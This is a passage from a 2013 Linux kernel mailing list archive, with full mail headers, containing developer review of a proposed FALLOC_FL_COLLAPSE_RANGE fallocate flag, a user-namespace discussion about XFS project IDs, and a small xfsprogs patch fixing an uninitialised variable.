1V4gfB-0004zX-Ip; Thu, 01 Aug 2013 10:22:41 +1000 Date: Thu, 1 Aug 2013 10:22:41 +1000 From: Dave Chinner To: Namjae Jeon Cc: tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon Subject: Re: [PATCH 1/3] fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE Message-ID: <20130801002241.GH7118@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE References: <1375281721-15840-1-git-send-email-linkinjeon@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1375281721-15840-1-git-send-email-linkinjeon@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1375316564 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137472 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 31, 2013 at 11:42:00PM +0900, Namjae Jeon wrote: > From: Namjae Jeon > > Fallocate now supports new FALLOC_FL_COLLAPSE_RANGE flag. > The semantics of this flag are following: > 1) It collapses the range lying between offset and length by removing any data > blocks which are present in this range and than updates all the logical > offsets of extents beyond "offset + len" to nullify the hole created by > removing blocks. In short, it does not leave a hole. > 1) It should be used exclusively. No other fallocate flag in combination. > 2) Offset and length supplied to fallocate should be fs block size aligned. Given that the rest of fallocate() interfaces are byte based, this is going to cause some confusion if it's not well documented. i.e. this restriction needs to be documented in the header file that is exposed to userspace, as well as in the fallocate(2) man page. > 3) It wokrs beyond "EOF", so the extents which are pre-allocated beyond "EOF" > are also updated. I don't think that's valid for this operation. If the range is beyond EOF, you are not modifying anything visible to userspace, and that makes it the same as a hole punch operation. So, I'd get rid of thisnasty implementation complexity altogether. > 4) It reduces the i_size of inode by the amount of collapse range which lies > within i_size. So, if offset >= i_size, i_size won't be changed at all. Similarly, I don't think that asking for a range that overlaps EOF is valid, either. The moment you overlap or go beyond EOF, you are effectively truncating the file as there is no data to collapse into the range As it is, I don't see these EOF rules enforced by this patch, nor are they documented at all in the patch. Regardless of what semantics we decide on, this needs xfs_io support and extensive corner case tests added to xfstests so that we can confirm the implementation in every filesystem is correct and we don't introduce regressions in future. it also needs documentation in the fallocate(2) man page. > diff --git a/include/uapi/linux/falloc.h b/include/uapi/linux/falloc.h > index 990c4cc..7567c8c 100644 > --- a/include/uapi/linux/falloc.h > +++ b/include/uapi/linux/falloc.h > @@ -1,9 +1,10 @@ > #ifndef _UAPI_FALLOC_H_ > #define _UAPI_FALLOC_H_ > > -#define FALLOC_FL_KEEP_SIZE 0x01 /* default is extend size */ > -#define FALLOC_FL_PUNCH_HOLE 0x02 /* de-allocates range */ > +#define FALLOC_FL_KEEP_SIZE 0x01 /* default is extend size */ > +#define FALLOC_FL_PUNCH_HOLE 0x02 /* de-allocates range */ > #define FALLOC_FL_NO_HIDE_STALE 0x04 /* reserved codepoint */ > +#define FALLOC_FL_COLLAPSE_RANGE 0x08 /* it does not leave a hole */ I'd suggest that you need to explain what FALLOC_FL_COLLAPSE_RANGE does in great detail right here. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 31 19:23:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3B1317CBF for ; Wed, 31 Jul 2013 19:23:58 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 058A9304093 for ; Wed, 31 Jul 2013 17:23:57 -0700 (PDT) X-ASG-Debug-ID: 1375316636-04bdf02f232c0cb0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 8xCst672RCB5gN0i for ; Wed, 31 Jul 2013 17:23:56 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjgFADSq+VF5LPxHgWdsb2JhbABbDr0DhS6BHBcOAQEWJiiCJAEBBTocMwgDGAklDwUlAyEBEogPuRIWj3iECwOXXooiigJQKg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 01 Aug 2013 09:53:42 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V4gg9-0004zf-QI; Thu, 01 Aug 2013 10:23:41 +1000 Date: Thu, 1 Aug 2013 10:23:41 +1000 From: Dave Chinner To: Theodore Ts'o , Namjae Jeon , adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon Subject: Re: [PATCH 1/3] fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE Message-ID: <20130801002341.GI7118@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE References: <1375281721-15840-1-git-send-email-linkinjeon@gmail.com> <20130731220154.GA11378@thunk.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130731220154.GA11378@thunk.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1375316636 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137472 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 31, 2013 at 06:01:54PM -0400, Theodore Ts'o wrote: > Have you considered what happens if you have a 10 megabyte file, of > which the first 5 megs are mmap'ed into a userspace process. > > Now suppose you call COLLAPASE_RANGE on a one megabyte range starting > at offset 1024k from the beginning of the file. > > Does the right thing happen to the mmap'ed region in memory? Implementation detail. like a hole punch, it needs to invalidate the range that it is operating over so mmap()d regions are refaulted after the operation is done. Cheers, Dave. -- Dave Chinner david@fromorbit.com From tytso@thunk.org Wed Jul 31 19:46:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AC91D7CBF for ; Wed, 31 Jul 2013 19:46:58 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 30EC5AC003 for ; Wed, 31 Jul 2013 17:46:58 -0700 (PDT) X-ASG-Debug-ID: 1375318016-04bdf02f222c2580001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id Bm1SA3ZyGNvHRsiR (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Wed, 31 Jul 2013 17:46:56 -0700 (PDT) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1V4h2V-0005ht-1B; Thu, 01 Aug 2013 00:46:47 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id A2F4F580764; Wed, 31 Jul 2013 20:46:45 -0400 (EDT) Date: Wed, 31 Jul 2013 20:46:45 -0400 From: Theodore Ts'o To: Dave Chinner Cc: Namjae Jeon , adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon Subject: Re: [PATCH 1/3] fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE Message-ID: <20130801004645.GC11378@thunk.org> X-ASG-Orig-Subj: Re: [PATCH 1/3] fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE Mail-Followup-To: Theodore Ts'o , Dave Chinner , Namjae Jeon , adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon References: <1375281721-15840-1-git-send-email-linkinjeon@gmail.com> <20130731220154.GA11378@thunk.org> <20130801002341.GI7118@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130801002341.GI7118@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1375318016 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137472 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Aug 01, 2013 at 10:23:41AM +1000, Dave Chinner wrote: > On Wed, Jul 31, 2013 at 06:01:54PM -0400, Theodore Ts'o wrote: > > Have you considered what happens if you have a 10 megabyte file, of > > which the first 5 megs are mmap'ed into a userspace process. > > > > Now suppose you call COLLAPASE_RANGE on a one megabyte range starting > > at offset 1024k from the beginning of the file. > > > > Does the right thing happen to the mmap'ed region in memory? > > Implementation detail. like a hole punch, it needs to invalidate the > range that it is operating over so mmap()d regions are refaulted > after the operation is done. It's not just the range that it's operating on, but also the region beyond the range that's been collapsed out. That's because the page that had formerly located at offset 3072k would now be located at 2048k. And you had better make sure that any dirty pages located beyond that are written out to disk before you do the invalidate and collapse. As a result, there's going to be potential races that don't exist with truncate and punch. A quick eyeball of the patch didn't seem to show any code that handled this, which is why I asked the question. - Ted From gaofeng@cn.fujitsu.com Wed Jul 31 19:53:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2A9AA7CBF for ; Wed, 31 Jul 2013 19:53:18 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 04146304084 for ; Wed, 31 Jul 2013 17:53:17 -0700 (PDT) X-ASG-Debug-ID: 1375318395-04cbb02c3c2bcbc0001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id SrE9w2TmXywyyHP6 for ; Wed, 31 Jul 2013 17:53:16 -0700 (PDT) X-Barracuda-Envelope-From: gaofeng@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.89,791,1367942400"; d="scan'208";a="8081510" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 01 Aug 2013 08:50:13 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id r710rBG7019450; Thu, 1 Aug 2013 08:53:11 +0800 Received: from [10.167.226.30] ([10.167.226.30]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2013080108505828-307245 ; Thu, 1 Aug 2013 08:50:58 +0800 Message-ID: <51F9B1CC.8040604@cn.fujitsu.com> Date: Thu, 01 Aug 2013 08:54:36 +0800 From: Gao feng User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: Dwight Engen , Ben Myers , xfs@oss.sgi.com Subject: Re: [PATCH v7 7/7] enable building user namespace with xfs References: <20130729230709.11033b2d@oracle.com> <20130730234021.GR3111@sgi.com> <20130731002119.GR13468@dastard> <20130731141931.2e1c77d4@oracle.com> <20130731234357.GF7118@dastard> X-ASG-Orig-Subj: Re: [PATCH v7 7/7] enable building user namespace with xfs In-Reply-To: <20130731234357.GF7118@dastard> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/08/01 08:50:58, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/08/01 08:51:01, Serialize complete at 2013/08/01 08:51:01 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1375318395 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137472 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 08/01/2013 07:43 AM, Dave Chinner wrote: > On Wed, Jul 31, 2013 at 02:19:31PM -0400, Dwight Engen wrote: >> On Wed, 31 Jul 2013 10:21:19 +1000 >> Dave Chinner wrote: >> >> [...] >>> The only thing I think we still need to address is whether >>> xfs_ioc_setattr() should allow users within a namespace to change >>> the project ID of a file they otherwise own. That function is >>> currently changed to use a inode_owner_or_capable() check and so if >>> the uids match inside the namespace the modification is allowed. >> >> Right, so before this change the caller has to own the file or be >> CAP_FOWNER in init_user_ns. Changing to using inode_owner_or_capable() >> means the caller has to own the file (and the inode's uid must be valid >> in current_user_ns) or be CAP_FOWNER in current_user_ns. I don't >> see how this lets the user the user do something inside the userns that >> they can't do outside. > > Right. > >> Basically I think we want to treat projids as a non namespace aware >> identifier, but it sounds like maybe we don't want them manipulated >> from userns context at all. > > Exactly. > >>> However, right now for project IDs I think we have decided to limit >>> manipulations to the init user namespace and not expose project IDs >>> inside user namespaces at all. Hence I think that xfs_ioc_setattr() >>> needs a further check for this... >> >> If we don't want to allow setting the projid from a userns, the check >> I would propose inside the if (mask & FSX_EXTSIZE) block is: >> if (current_user_ns() != &init_user_ns) >> Is the appropriate error return for this EINVAL? (thats what a similar >> check in kernel/taskstats.c returns) > > Yeah, it looks like the very few cases where an error is returned > for such a check it is an EINVAL case. Don't forget a comment > explaining this. > > We probably also fix getxstate/getxquota implementations to reject > project quota requests as well. It might be best to do this with an > additional patch. > > As it is, we're going to need to revisit the project quota support > in fs/quota/quota.c because that maps project IDs to/from user > namespaces. This was done based on the overriding assertion of the > userns implementor that project quota IDs must be mapped via > namespaces, but as we are getting down to it the details (i.e. > project IDs only visible in the init user ns) we can see > that this is incorrect and we're going to need to do quite a bit of > surgery there to fix this up.... Yes, in the implementation of userns, project ids can be modified and project quota is allowed to setup in container safely, but compared with removing xfs dependence, I hope this dependence to be removed firstly. the mapping project IDs to user namespace work should be fixed after we finish this removing dependence work. :) From david@fromorbit.com Wed Jul 31 19:54:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 332617CBF for ; Wed, 31 Jul 2013 19:54:58 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0EDF3304082 for ; Wed, 31 Jul 2013 17:54:57 -0700 (PDT) X-ASG-Debug-ID: 1375318496-04cb6c2e9f2baa30001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id FIzSMbBhUj9GpTxJ for ; Wed, 31 Jul 2013 17:54:56 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjgFAE2x+VF5LPxHgWdsb2JhbABbDr0DhS6BHBcOAQEWJiiCJAEBBAE6HCgLCAMYCSUPBSUDIQESiAoFuRkWj3iECwOXXooiigJQKg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 01 Aug 2013 10:24:49 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V4hAF-00055B-Bx; Thu, 01 Aug 2013 10:54:47 +1000 Date: Thu, 1 Aug 2013 10:54:47 +1000 From: Dave Chinner To: Theodore Ts'o , Namjae Jeon , adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon Subject: Re: [PATCH 1/3] fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE Message-ID: <20130801005447.GS13468@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE References: <1375281721-15840-1-git-send-email-linkinjeon@gmail.com> <20130731220154.GA11378@thunk.org> <20130801002341.GI7118@dastard> <20130801004645.GC11378@thunk.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130801004645.GC11378@thunk.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1375318496 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137472 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 31, 2013 at 08:46:45PM -0400, Theodore Ts'o wrote: > On Thu, Aug 01, 2013 at 10:23:41AM +1000, Dave Chinner wrote: > > On Wed, Jul 31, 2013 at 06:01:54PM -0400, Theodore Ts'o wrote: > > > Have you considered what happens if you have a 10 megabyte file, of > > > which the first 5 megs are mmap'ed into a userspace process. > > > > > > Now suppose you call COLLAPASE_RANGE on a one megabyte range starting > > > at offset 1024k from the beginning of the file. > > > > > > Does the right thing happen to the mmap'ed region in memory? > > > > Implementation detail. like a hole punch, it needs to invalidate the > > range that it is operating over so mmap()d regions are refaulted > > after the operation is done. > > It's not just the range that it's operating on, but also the region > beyond the range that's been collapsed out. Yes, that's part of "the range that it is operating over". > A quick eyeball of the patch didn't seem to show any code that handled > this, which is why I asked the question. Right, but really it's the least of the problems I've noticed - the XFS code is fundamentally broken in many ways - once I've finished commenting on it, I'll have a quick look to see if the ext4 code has the same fundamental flaws.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From tytso@thunk.org Wed Jul 31 20:08:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 878CA7CBF for ; Wed, 31 Jul 2013 20:08:08 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id DEEA7AC003 for ; Wed, 31 Jul 2013 18:08:04 -0700 (PDT) X-ASG-Debug-ID: 1375319283-04cbb02c3c2bd7e0001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id Fg2u5OnlLFgCF7my (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Wed, 31 Jul 2013 18:08:03 -0700 (PDT) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1V4hMv-0005jG-6P; Thu, 01 Aug 2013 01:07:53 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id 09ECA580764; Wed, 31 Jul 2013 21:07:52 -0400 (EDT) Date: Wed, 31 Jul 2013 21:07:52 -0400 From: Theodore Ts'o To: Dave Chinner Cc: Namjae Jeon , adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon Subject: Re: [PATCH 1/3] fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE Message-ID: <20130801010751.GD11378@thunk.org> X-ASG-Orig-Subj: Re: [PATCH 1/3] fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE Mail-Followup-To: Theodore Ts'o , Dave Chinner , Namjae Jeon , adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon References: <1375281721-15840-1-git-send-email-linkinjeon@gmail.com> <20130731220154.GA11378@thunk.org> <20130801002341.GI7118@dastard> <20130801004645.GC11378@thunk.org> <20130801005447.GS13468@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130801005447.GS13468@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1375319283 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137472 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Aug 01, 2013 at 10:54:47AM +1000, Dave Chinner wrote: > > It's not just the range that it's operating on, but also the region > > beyond the range that's been collapsed out. > > Yes, that's part of "the range that it is operating over". > > > A quick eyeball of the patch didn't seem to show any code that handled > > this, which is why I asked the question. > > Right, but really it's the least of the problems I've noticed - the > XFS code is fundamentally broken in many ways - once I've finished > commenting on it, I'll have a quick look to see if the ext4 code has > the same fundamental flaws.... Well, the fundamental flaw of potential races if the file being collapsed has been mmap'ed and there is another process making changes beyond the range that is being collapsed is I suspect one that is going to be very hard to solve, short of not allowing the collapse while there are any read/write mmap's for the file in question. And I would think these sorts of VM issues should be handled with some generic library functions, instead of reimplementing them from scratch in each file system. - Ted From sandeen@redhat.com Wed Jul 31 20:13:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1010A7F3F for ; Wed, 31 Jul 2013 20:13:16 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id CCE498F8037 for ; Wed, 31 Jul 2013 18:13:12 -0700 (PDT) X-ASG-Debug-ID: 1375319591-04cbb02c3a2bdc40001-w1Z2WR Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Ti3pw4uyD3zZx8zN for ; Wed, 31 Jul 2013 18:13:12 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r711DBSY011483 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 31 Jul 2013 21:13:11 -0400 Received: from Liberator.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r711DAIS015538 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Wed, 31 Jul 2013 21:13:11 -0400 Message-ID: <51F9B626.4010707@redhat.com> Date: Wed, 31 Jul 2013 20:13:10 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: "'linux-xfs@oss.sgi.com'" Subject: [PATCH] xfsprogs: fix unint var in repair phase6 X-Enigmail-Version: 1.5.2 X-ASG-Orig-Subj: [PATCH] xfsprogs: fix unint var in repair phase6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1375319592 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 2 calls to libxfs_bmapi_write exist in repair's phase6 where "first" is uninitialized, but is accessed in that function. Normally we call xfs_bmap_init() first to initialize both the free list and the first block, but in these cases, the free list var is sent as NULL. So in these 2 cases, explicitly initialize the "first" variable to NULLFSBLOCK as xfs_bmap_init() does elsewhere. Coverity caught this. Signed-off-by: Eric Sandeen --- diff --git a/repair/phase6.c b/repair/phase6.c index 5c33797..119ec3b 100644 --- a/repair/phase6.c +++ b/repair/phase6.c @@ -536,6 +536,7 @@ fill_rbmino(xfs_mount_t *mp) error); } + first = NULLFSBLOCK; while (bno < mp->m_sb.sb_rbmblocks) { /* * fill the file one block at a time @@ -605,6 +606,7 @@ fill_rsumino(xfs_mount_t *mp) error); } + first = NULLFSBLOCK; while (bno < end_bno) { /* * fill the file one block at a time From david@fromorbit.com Wed Jul 31 20:18:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com 